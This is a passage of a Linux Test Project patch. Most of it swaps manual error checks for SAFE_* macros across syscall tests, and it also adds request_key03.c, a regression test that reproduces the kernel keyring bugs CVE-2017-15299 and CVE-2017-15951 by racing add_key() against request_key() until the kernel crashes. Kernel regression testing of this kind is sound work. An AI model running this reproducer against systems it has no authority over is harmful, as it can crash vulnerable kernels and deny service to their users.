-		tst_brkm(TBROK, cleanup, "Could not create directory %s", mdir);
-	}
+	SAFE_MKDIR(cleanup, mdir, 00770);
 
-	if (stat(mdir, &buf2) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s "
-			 "in rename()", mdir);
-
-	}
+	SAFE_STAT(cleanup, mdir, &buf2);
 
 	/* save "new"'s dev and ino */
 	olddev1 = buf2.st_dev;
diff --git a/testcases/kernel/syscalls/rename/rename07.c b/testcases/kernel/syscalls/rename/rename07.c
index b483a1c..5b95f84 100644
--- a/testcases/kernel/syscalls/rename/rename07.c
+++ b/testcases/kernel/syscalls/rename/rename07.c
@@ -45,6 +45,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -122,15 +123,9 @@
 		tst_brkm(TBROK, cleanup, "tmp directory %s found!", fdir);
 	}
 
-	if (mkdir(fdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", fdir);
-	}
+	SAFE_MKDIR(cleanup, fdir, 00770);
 
-	if (stat(fdir, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s "
-			 "in rename()", fdir);
-
-	}
+	SAFE_STAT(cleanup, fdir, &buf1);
 
 	/* save "old"'s dev and ino */
 	olddev = buf1.st_dev;
@@ -138,11 +133,7 @@
 
 	SAFE_TOUCH(cleanup, mname, 0700, NULL);
 
-	if (stat(mname, &buf2) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat file %s in rename()",
-			 mname);
-
-	}
+	SAFE_STAT(cleanup, mname, &buf2);
 
 	/* save "new"'s dev and ino */
 	olddev1 = buf2.st_dev;
diff --git a/testcases/kernel/syscalls/rename/rename09.c b/testcases/kernel/syscalls/rename/rename09.c
index 909bcf5..f5f15d3 100644
--- a/testcases/kernel/syscalls/rename/rename09.c
+++ b/testcases/kernel/syscalls/rename/rename09.c
@@ -195,18 +195,10 @@
 			}
 
 			/* clean up things in case we are looping */
-			if (unlink(fname) == -1) {
-				tst_brkm(TBROK, cleanup, "unlink() #1 failed");
-			}
-			if (unlink(mname) == -1) {
-				tst_brkm(TBROK, cleanup, "unlink() #2 failed");
-			}
-			if (rmdir(fdir) == -1) {
-				tst_brkm(TBROK, cleanup, "rmdir() #1 failed");
-			}
-			if (rmdir(mdir) == -1) {
-				tst_brkm(TBROK, cleanup, "rmdir() #2 failed");
-			}
+			SAFE_UNLINK(cleanup, fname);
+			SAFE_UNLINK(cleanup, mname);
+			SAFE_RMDIR(cleanup, fdir);
+			SAFE_RMDIR(cleanup, mdir);
 		} else {
 			/* parent - let the second child carry on */
 			waitpid(pid1, &status, 0);
diff --git a/testcases/kernel/syscalls/rename/rename11.c b/testcases/kernel/syscalls/rename/rename11.c
index 0c3e3b3..17cf04c 100644
--- a/testcases/kernel/syscalls/rename/rename11.c
+++ b/testcases/kernel/syscalls/rename/rename11.c
@@ -107,10 +107,7 @@
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 
 	SAFE_MKDIR(cleanup, MNTPOINT, 0755);
-	if (mount(device, MNTPOINT, fs_type, 0, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
 	mount_flag = 1;
 	SAFE_TOUCH(cleanup, TEST_EROFS, 0644, NULL);
 
@@ -152,10 +149,8 @@
 
 static void test_erofs(void)
 {
-	if (mount(device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY,
+		   NULL);
 
 	TEST(rename(TEST_EROFS, TEST_NEW_EROFS));
 	check_and_print(EROFS);
@@ -163,10 +158,7 @@
 	if (TEST_RETURN == 0)
 		SAFE_UNLINK(cleanup, TEST_NEW_EROFS);
 
-	if (mount(device, MNTPOINT, fs_type, MS_REMOUNT, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "remount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, MS_REMOUNT, NULL);
 }
 
 static void test_emlink(void)
diff --git a/testcases/kernel/syscalls/rename/rename12.c b/testcases/kernel/syscalls/rename/rename12.c
index c620a46..3669178 100644
--- a/testcases/kernel/syscalls/rename/rename12.c
+++ b/testcases/kernel/syscalls/rename/rename12.c
@@ -194,14 +194,9 @@
 	sprintf(mname, "%s/rnfile_%d", fdir, getpid());
 
 	/* create a directory */
-	if (mkdir(fdir, PERMS) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", fdir);
-	}
+	SAFE_MKDIR(cleanup, fdir, PERMS);
 
-	if (stat(fdir, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s", fdir);
-
-	}
+	SAFE_STAT(cleanup, fdir, &buf1);
 
 	/* set the sticky bit */
 	if (chmod(fdir, buf1.st_mode | S_ISVTX) != 0) {
diff --git a/testcases/kernel/syscalls/rename/rename13.c b/testcases/kernel/syscalls/rename/rename13.c
index a42beba..07a90c4 100644
--- a/testcases/kernel/syscalls/rename/rename13.c
+++ b/testcases/kernel/syscalls/rename/rename13.c
@@ -65,6 +65,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -113,18 +114,10 @@
 		}
 
 		/* check the existence of "new", and get the status */
-		if (stat(mname, &buf2) == -1) {
-			tst_brkm(TBROK, cleanup, "failed to stat file "
-				 "%s in rename()", mname);
-
-		}
+		SAFE_STAT(cleanup, mname, &buf2);
 
 		/* check the existence of "old", and get the status */
-		if (stat(fname, &buf1) == -1) {
-			tst_brkm(TBROK, cleanup, "failed to stat file "
-				 "%s in rename()", fname);
-
-		}
+		SAFE_STAT(cleanup, fname, &buf1);
 
 		/* verify the new file is the same as the original */
 		if (buf2.st_dev != olddev || buf2.st_ino != oldino) {
@@ -168,21 +161,14 @@
 
 	SAFE_TOUCH(cleanup, fname, 0700, NULL);
 
-	if (stat(fname, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat file %s"
-			 "in rename()", fname);
-
-	}
+	SAFE_STAT(cleanup, fname, &buf1);
 
 	/* save the dev and inode */
 	olddev = buf1.st_dev;
 	oldino = buf1.st_ino;
 
 	/* link the "new" file to the "old" file */
-	if (link(fname, mname) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "link from %s to %s failed!", fname, mname);
-	}
+	SAFE_LINK(cleanup, fname, mname);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/renameat/renameat01.c b/testcases/kernel/syscalls/renameat/renameat01.c
index f6797da..817e217 100644
--- a/testcases/kernel/syscalls/renameat/renameat01.c
+++ b/testcases/kernel/syscalls/renameat/renameat01.c
@@ -184,17 +184,11 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, MNTPOINT, DIRMODE);
-	if (mount(device, MNTPOINT, fs_type, 0, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			"mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
 	mount_flag = 1;
 	SAFE_TOUCH(cleanup, TESTFILE5, FILEMODE, NULL);
-	if (mount(device, MNTPOINT, fs_type,
-			MS_REMOUNT | MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			"mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY,
+		   NULL);
 
 	SAFE_MKDIR(cleanup, TESTDIR3, DIRMODE);
 	max_subdirs = tst_fs_fill_subdirs(cleanup, "testemlinkdir");
diff --git a/testcases/kernel/syscalls/request_key/request_key01.c b/testcases/kernel/syscalls/request_key/request_key01.c
index d46bafa..d290a0d 100644
--- a/testcases/kernel/syscalls/request_key/request_key01.c
+++ b/testcases/kernel/syscalls/request_key/request_key01.c
@@ -1,40 +1,36 @@
 /*
-* Copyright (c) 2016 Fujitsu Ltd.
-* Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
-*
-* This program is free software; you can redistribute it and/or modify it
-* under the terms of version 2 of the GNU General Public License as
-* published by the Free Software Foundation.
-*
-* This program is distributed in the hope that it would be useful, but
-* WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-*
-* You should have received a copy of the GNU General Public License
-* alone with this program.
-*/
+ * Copyright (c) 2016 Fujitsu Ltd.
+ * Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+ *
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * You should have received a copy of the GNU General Public License
+ * alone with this program.
+ */
 
 /*
-* Test Name: request_key01
-*
-* Description:
-* The testcase checks basic functionality of the request_key(2).
-* request_key(2) asks the kernel to find a key which matches the
-* specified description. If successful, it attaches it to the
-* nominated keyring and returns its serial number.
-*
-*/
+ * Test Name: request_key01
+ *
+ * Description:
+ * The testcase checks basic functionality of the request_key(2).
+ * request_key(2) asks the kernel to find a key which matches the
+ * specified description. If successful, it attaches it to the
+ * nominated keyring and returns its serial number.
+ *
+ */
 
-#include "config.h"
 #include <errno.h>
-#include <sys/types.h>
-#ifdef HAVE_KEYUTILS_H
-# include <keyutils.h>
-#endif
 
 #include "tst_test.h"
-
-#ifdef HAVE_KEYUTILS_H
+#include "lapi/keyctl.h"
 
 static int key;
 
@@ -64,9 +60,3 @@
 	.setup = setup,
 	.test_all = verify_request_key,
 };
-
-#else
-
-TST_TEST_TCONF("keyutils.h was missing at compilation");
-
-#endif /* HAVE_LINUX_KEYCTL_H */
diff --git a/testcases/kernel/syscalls/request_key/request_key02.c b/testcases/kernel/syscalls/request_key/request_key02.c
index 9bba241..bde74c4 100644
--- a/testcases/kernel/syscalls/request_key/request_key02.c
+++ b/testcases/kernel/syscalls/request_key/request_key02.c
@@ -1,43 +1,39 @@
 /*
-* Copyright (c) 2016 Fujitsu Ltd.
-* Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
-*
-* This program is free software; you can redistribute it and/or modify it
-* under the terms of version 2 of the GNU General Public License as
-* published by the Free Software Foundation.
-*
-* This program is distributed in the hope that it would be useful, but
-* WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-*
-* You should have received a copy of the GNU General Public License
-* alone with this program.
+ * Copyright (c) 2016 Fujitsu Ltd.
+ * Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+ *
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * You should have received a copy of the GNU General Public License
+ * alone with this program.
 */
 
 /*
-* Test Name: request_key02
-*
-* Description:
-* 1) request_key(2) fails if no matching key was found.
-* 2) request_key(2) fails if A revoked key was found.
-* 3) request_key(2) fails if An expired key was found.
-*
-* Expected Result:
-* 1) request_key(2) should return -1 and set errno to ENOKEY.
-* 2) request_key(2) should return -1 and set errno to EKEYREVOKED.
-* 3) request_key(2) should return -1 and set errno to EKEYEXPIRED.
-*
-*/
+ * Test Name: request_key02
+ *
+ * Description:
+ * 1) request_key(2) fails if no matching key was found.
+ * 2) request_key(2) fails if A revoked key was found.
+ * 3) request_key(2) fails if An expired key was found.
+ *
+ * Expected Result:
+ * 1) request_key(2) should return -1 and set errno to ENOKEY.
+ * 2) request_key(2) should return -1 and set errno to EKEYREVOKED.
+ * 3) request_key(2) should return -1 and set errno to EKEYEXPIRED.
+ */
 
-#include "config.h"
 #include <errno.h>
-#include <sys/types.h>
-#ifdef HAVE_KEYUTILS_H
-# include <keyutils.h>
-#endif
-#include "tst_test.h"
 
-#ifdef HAVE_KEYUTILS_H
+#include "tst_test.h"
+#include "lapi/keyctl.h"
 
 static int key1;
 static int key2;
@@ -111,9 +107,3 @@
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_request_key,
 };
-
-#else
-
-TST_TEST_TCONF("keyutils.h was missing at compilation");
-
-#endif /* HAVE_LINUX_KEYCTL_H */
diff --git a/testcases/kernel/syscalls/request_key/request_key03.c b/testcases/kernel/syscalls/request_key/request_key03.c
new file mode 100644
index 0000000..8711b12
--- /dev/null
+++ b/testcases/kernel/syscalls/request_key/request_key03.c
@@ -0,0 +1,203 @@
+/*
+ * Copyright (c) 2017 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for two related bugs:
+ *
+ * (1) CVE-2017-15299, fixed by commit 60ff5b2f547a ("KEYS: don't let add_key()
+ *     update an uninstantiated key")
+ * (2) CVE-2017-15951, fixed by commit 363b02dab09b ("KEYS: Fix race between
+ *     updating and finding a negative key")
+ *
+ * We test for the bugs together because the reproduction steps are essentially
+ * the same: repeatedly try to add/update a key with add_key() while requesting
+ * it with request_key() in another task.  This reproduces both bugs:
+ *
+ * For CVE-2017-15299, add_key() has to run while the key being created by
+ * request_key() is still in the "uninstantiated" state.  For the "encrypted" or
+ * "trusted" key types (not guaranteed to be available) this caused a NULL
+ * pointer dereference in encrypted_update() or in trusted_update(),
+ * respectively.  For the "user" key type, this caused the WARN_ON() in
+ * construct_key() to be hit.
+ *
+ * For CVE-2017-15951, request_key() has to run while the key is "negatively
+ * instantiated" (from a prior request_key()) and is being concurrently changed
+ * to "positively instantiated" via add_key() updating it.  This race, which is
+ * a bit more difficult to reproduce, caused the task executing request_key() to
+ * dereference an invalid pointer in __key_link_begin().
+ */
+
+#include <errno.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+static char *opt_bug;
+
+static struct tst_option options[] = {
+	{"b:", &opt_bug,  "-b       Bug to test for (cve-2017-15299 or cve-2017-15951; default is both)"},
+	{NULL, NULL, NULL}
+};
+
+static void test_with_key_type(const char *type, const char *payload,
+			       int effort)
+{
+	int i;
+	int status;
+	pid_t add_key_pid;
+	pid_t request_key_pid;
+	bool info_only;
+
+	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
+	if (TEST_RETURN < 0)
+		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
+
+	TEST(add_key(type, "desc", payload, strlen(payload),
+		     KEY_SPEC_SESSION_KEYRING));
+	if (TEST_RETURN < 0 && TEST_ERRNO != EINVAL) {
+		if (TEST_ERRNO == ENODEV) {
+			tst_res(TCONF, "kernel doesn't support key type '%s'",
+				type);
+			return;
+		}
+		tst_brk(TBROK | TTERRNO,
+			"unexpected error checking whether key type '%s' is supported",
+			type);
+	}
+
+	/*
+	 * Fork a subprocess which repeatedly tries to "add" a key of the given
+	 * type.  This actually will try to update the key if it already exists.
+	 * Depending on the state of the key, add_key() should either succeed or
+	 * fail with one of several errors:
+	 *
+	 * (1) key didn't exist at all: either add_key() should succeed (if the
+	 *     payload is valid), or it should fail with EINVAL (if the payload
+	 *     is invalid; this is needed for the "encrypted" and "trusted" key
+	 *     types because they have a quirk where the payload syntax differs
+	 *     for creating new keys vs. updating existing keys)
+	 *
+	 * (2) key was negative: add_key() should succeed
+	 *
+	 * (3) key was uninstantiated: add_key() should wait for the key to be
+	 *     negated, then fail with ENOKEY
+	 *
+	 * For now we also accept EDQUOT because the kernel frees up the keys
+	 * quota asynchronously after keys are unlinked.  So it may be hit.
+	 */
+	add_key_pid = SAFE_FORK();
+	if (add_key_pid == 0) {
+		for (i = 0; i < 100 * effort; i++) {
+			usleep(rand() % 1024);
+			TEST(add_key(type, "desc", payload, strlen(payload),
+				     KEY_SPEC_SESSION_KEYRING));
+			if (TEST_RETURN < 0 && TEST_ERRNO != EINVAL &&
+			    TEST_ERRNO != ENOKEY && TEST_ERRNO != EDQUOT) {
+				tst_brk(TBROK | TTERRNO,
+					"unexpected error adding key of type '%s'",
+					type);
+			}
+			TEST(keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING));
+			if (TEST_RETURN < 0) {
+				tst_brk(TBROK | TTERRNO,
+					"unable to clear keyring");
+			}
+		}
+		exit(0);
+	}
+
+	request_key_pid = SAFE_FORK();
+	if (request_key_pid == 0) {
+		for (i = 0; i < 5000 * effort; i++) {
+			TEST(request_key(type, "desc", "callout_info",
+					 KEY_SPEC_SESSION_KEYRING));
+			if (TEST_RETURN < 0 && TEST_ERRNO != ENOKEY &&
+			    TEST_ERRNO != ENOENT && TEST_ERRNO != EDQUOT) {
+				tst_brk(TBROK | TTERRNO,
+					"unexpected error requesting key of type '%s'",
+					type);
+			}
+		}
+		exit(0);
+	}
+
+	/*
+	 * Verify that neither the add_key() nor the request_key() process
+	 * crashed.  If the add_key() process crashed it is likely due to
+	 * CVE-2017-15299, while if the request_key() process crashed it is
+	 * likely due to CVE-2017-15951.  If testing for one of the bugs
+	 * specifically, only pay attention to the corresponding process.
+	 */
+
+	SAFE_WAITPID(add_key_pid, &status, 0);
+	info_only = (opt_bug && strcmp(opt_bug, "cve-2017-15299") != 0);
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
+		tst_res(info_only ? TINFO : TPASS,
+			"didn't crash while updating key of type '%s'",
+			type);
+	} else if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) {
+		tst_res(info_only ? TINFO : TFAIL,
+			"kernel oops while updating key of type '%s'",
+			type);
+	} else {
+		tst_brk(TBROK, "add_key child %s", tst_strstatus(status));
+	}
+
+	SAFE_WAITPID(request_key_pid, &status, 0);
+	info_only = (opt_bug && strcmp(opt_bug, "cve-2017-15951") != 0);
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
+		tst_res(info_only ? TINFO : TPASS,
+			"didn't crash while requesting key of type '%s'",
+			type);
+	} else if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) {
+		tst_res(info_only ? TINFO : TFAIL,
+			"kernel oops while requesting key of type '%s'",
+			type);
+	} else {
+		tst_brk(TBROK, "request_key child %s", tst_strstatus(status));
+	}
+}
+
+static void do_test(void)
+{
+	/*
+	 * Briefly test the "encrypted" and/or "trusted" key types when
+	 * availaible, mainly to reproduce CVE-2017-15299.
+	 */
+	test_with_key_type("encrypted", "update user:foo 32", 2);
+	test_with_key_type("trusted", "update", 2);
+
+	/*
+	 * Test the "user" key type for longer, mainly in order to reproduce
+	 * CVE-2017-15951.  However, without the fix for CVE-2017-15299 as well,
+	 * WARNs may show up in the kernel log.
+	 *
+	 * Note: the precise iteration count is arbitrary; it's just intended to
+	 * be enough to give a decent chance of reproducing the bug, without
+	 * wasting too much time.
+	 */
+	test_with_key_type("user", "payload", 20);
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.forks_child = 1,
+	.options = options,
+};
diff --git a/testcases/kernel/syscalls/rmdir/rmdir01.c b/testcases/kernel/syscalls/rmdir/rmdir01.c
index f7e176a..370e607 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir01.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir01.c
@@ -63,6 +63,7 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -103,10 +104,7 @@
 		/* Initialize the test directory name */
 
 		/* create a directory */
-		if (mkdir(tstdir, PERMS) == -1) {
-			tst_brkm(TBROK, cleanup, "mkdir(%s, %#o) Failed",
-				 tstdir, PERMS);
-		}
+		SAFE_MKDIR(cleanup, tstdir, PERMS);
 		/* call rmdir using TEST macro */
 
 		TEST(rmdir(tstdir));
diff --git a/testcases/kernel/syscalls/rmdir/rmdir02.c b/testcases/kernel/syscalls/rmdir/rmdir02.c
index 9e75818..9f6954a 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir02.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir02.c
@@ -139,16 +139,10 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-	if (mount(device, MNTPOINT, fs_type, 0, NULL) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			"mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
 	SAFE_MKDIR(cleanup, TESTDIR5, DIR_MODE);
-	if (mount(device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY,
-			NULL) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			"mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY,
+		   NULL);
 	mount_flag = 1;
 
 	SAFE_MKDIR(cleanup, TESTDIR, DIR_MODE);
diff --git a/testcases/kernel/syscalls/rmdir/rmdir03.c b/testcases/kernel/syscalls/rmdir/rmdir03.c
index 8a42058..2bdc8ba 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir03.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir03.c
@@ -132,10 +132,7 @@
 				 "tmp directory %s found!", tstdir1);
 		}
 		/* create a directory */
-		if (mkdir(tstdir1, PERMS) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "Couldnot create directory %s", tstdir1);
-		}
+		SAFE_MKDIR(cleanup, tstdir1, PERMS);
 		if (stat(tstdir1, &buf1) == -1) {
 			perror("stat");
 			tst_brkm(TBROK, cleanup, "failed to stat directory %s "
@@ -150,10 +147,7 @@
 
 		}
 		/* create a sub directory under tstdir1 */
-		if (mkdir(tstdir2, PERMS) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "Could not create directory %s", tstdir2);
-		}
+		SAFE_MKDIR(cleanup, tstdir2, PERMS);
 
 		if ((pid = FORK_OR_VFORK()) == -1) {
 			tst_brkm(TBROK, cleanup, "fork() failed");
@@ -172,15 +166,9 @@
 
 //test2:       $
 		/* create the a directory with 0700 permits */
-		if (mkdir(tstdir3, 0700) == -1) {
-			tst_brkm(TBROK, cleanup, "mkdir(%s, %#o) Failed",
-				 tstdir3, PERMS);
-		}
+		SAFE_MKDIR(cleanup, tstdir3, 0700);
 		/* create the a directory with 0700 permits */
-		if (mkdir(tstdir4, 0777) == -1) {
-			tst_brkm(TBROK, cleanup, "mkdir(%s, %#o) Failed",
-				 tstdir4, PERMS);
-		}
+		SAFE_MKDIR(cleanup, tstdir4, 0777);
 
 		if ((pid = FORK_OR_VFORK()) == -1) {
 			tst_brkm(TBROK, cleanup, "fork() failed");
diff --git a/testcases/kernel/syscalls/rmdir/rmdir04.c b/testcases/kernel/syscalls/rmdir/rmdir04.c
index 1b32daf..fe5e320 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir04.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir04.c
@@ -118,6 +118,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -149,11 +150,7 @@
 
 		tst_count = 0;
 
-		if (mkdir(fname, 0777) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "mkdir(%s) Failure. errno=%d : %s", fname,
-				 errno, strerror(errno));
-		}
+		SAFE_MKDIR(cleanup, fname, 0777);
 		/*
 		 * Call rmdir(2)
 		 */
diff --git a/testcases/kernel/syscalls/rmdir/rmdir05.c b/testcases/kernel/syscalls/rmdir/rmdir05.c
index 2f0f102..bef3b47 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir05.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir05.c
@@ -45,6 +45,7 @@
 #include <stdlib.h>
 #include <string.h>
 #include "test.h"
+#include "safe_macros.h"
 
 static void setup(void);
 static void cleanup(void);
@@ -214,9 +215,7 @@
 	tst_tmpdir();
 
 	/* Create a directory. */
-	if (mkdir("dir1", 0777) == -1) {
-		tst_brkm(TBROK, cleanup, "mkdir() failed to create dir1.");
-	}
+	SAFE_MKDIR(cleanup, "dir1", 0777);
 
 	/* Create a unique directory name. */
 	sprintf(dir_name, "./dir_%d", getpid());
diff --git a/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c b/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c
index 7e11465..02f04b9 100644
--- a/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c
+++ b/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c
@@ -50,6 +50,7 @@
 #include <unistd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 
 char *TCID = "sched_getaffinity01";
@@ -162,9 +163,7 @@
 	TEST_PAUSE;
 	tst_tmpdir();
 
-	num = sysconf(_SC_NPROCESSORS_CONF);
-	if (num == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "sysconf");
+	num = SAFE_SYSCONF(NULL, _SC_NPROCESSORS_CONF);
 	tst_resm(TINFO, "system has %ld processor(s).", num);
 }
 
diff --git a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c
index ba0e894..36952d9 100644
--- a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c
+++ b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c
@@ -88,9 +88,7 @@
 		if (pid == 0) {	/* child */
 			param.sched_priority = 1;
 
-			if (seteuid(nobody_uid) == -1) {
-				tst_brkm(TBROK, cleanup, "seteuid() failed");
-			}
+			SAFE_SETEUID(cleanup, nobody_uid);
 
 			TEST(sched_setscheduler(pid, SCHED_FIFO, &param));
 
@@ -116,9 +114,7 @@
 			}
 		}
 
-		if (seteuid(0) == -1) {
-			tst_brkm(TBROK, cleanup, "seteuid(0) failed");
-		}
+		SAFE_SETEUID(cleanup, 0);
 	}
 	cleanup();
 	tst_exit();
diff --git a/testcases/kernel/syscalls/select/select02.c b/testcases/kernel/syscalls/select/select02.c
index 3c97427..7aa0107 100644
--- a/testcases/kernel/syscalls/select/select02.c
+++ b/testcases/kernel/syscalls/select/select02.c
@@ -47,6 +47,7 @@
 #include <sys/time.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 static void setup(void);
 
@@ -104,9 +105,7 @@
 
 	TEST_PAUSE;
 
-	if (pipe(Fd) == -1) {
-		tst_brkm(TBROK, NULL, "pipe(&Fd) failed, errno=%d", errno);
-	}
+	SAFE_PIPE(NULL, Fd);
 
 	FD_ZERO(&saved_Readfds);
 	FD_ZERO(&saved_Writefds);
diff --git a/testcases/kernel/syscalls/select/select03.c b/testcases/kernel/syscalls/select/select03.c
index a9a81d0..da7fdb0 100644
--- a/testcases/kernel/syscalls/select/select03.c
+++ b/testcases/kernel/syscalls/select/select03.c
@@ -48,6 +48,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define FILENAME	"select03"
 
@@ -113,10 +114,7 @@
 
 	tst_tmpdir();
 
-	if (mkfifo(FILENAME, 0777) == -1) {
-		tst_brkm(TBROK, cleanup, "mkfifo(%s, 0777) failed, errno=%d",
-			 FILENAME, errno);
-	}
+	SAFE_MKFIFO(cleanup, FILENAME, 0777);
 
 	if ((Fd = open(FILENAME, O_RDWR)) == -1) {
 		tst_brkm(TBROK, cleanup, "open(%s, O_RDWR) failed, errno=%d",
diff --git a/testcases/kernel/syscalls/select/select04.c b/testcases/kernel/syscalls/select/select04.c
index 1431785..4ca7a31 100644
--- a/testcases/kernel/syscalls/select/select04.c
+++ b/testcases/kernel/syscalls/select/select04.c
@@ -66,7 +66,7 @@
 }
 
 static struct tst_test test = {
-	.tid = "select()",
+	.scall = "select()",
 	.sample = sample_fn,
 	.setup = setup,
 	.cleanup = cleanup,
diff --git a/testcases/kernel/syscalls/send/send01.c b/testcases/kernel/syscalls/send/send01.c
index 6f71300..2e0ae21 100644
--- a/testcases/kernel/syscalls/send/send01.c
+++ b/testcases/kernel/syscalls/send/send01.c
@@ -42,6 +42,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "send01";
 int testno;
@@ -182,8 +183,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "server listen failed");
 		return -1;
 	}
-	if (getsockname(sfd, (struct sockaddr *)sin0, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)sin0, &slen);
 
 	switch ((pid = FORK_OR_VFORK())) {
 	case 0:
@@ -325,11 +325,9 @@
 
 static void setup1(void)
 {
